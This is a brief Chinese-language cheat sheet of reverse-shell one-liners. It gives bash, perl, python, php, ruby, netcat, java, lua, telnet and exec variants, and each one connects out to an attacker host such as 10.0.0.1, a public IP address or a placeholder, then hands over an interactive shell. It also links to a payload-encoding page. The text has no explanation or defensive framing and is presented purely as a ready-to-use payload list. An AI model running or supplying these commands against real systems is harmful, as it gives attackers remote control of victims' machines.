常用的反彈shell的語句

shell編碼：http://www.jackson-t.ca/runtime-exec-payloads.html

bash命令：bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
         bash -i >& /dev/tcp/65.49.135.12/8888 0>&1 &

perl版本：perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
        
php版本：php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本：ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc 版本：nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java 版本：r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本：lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

telnet版本：mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe

exec版本：
exec 5<> /dev/tcp/vps_ip/端口號
cat <&5 | while read line; do $line 2>&5 >&5; done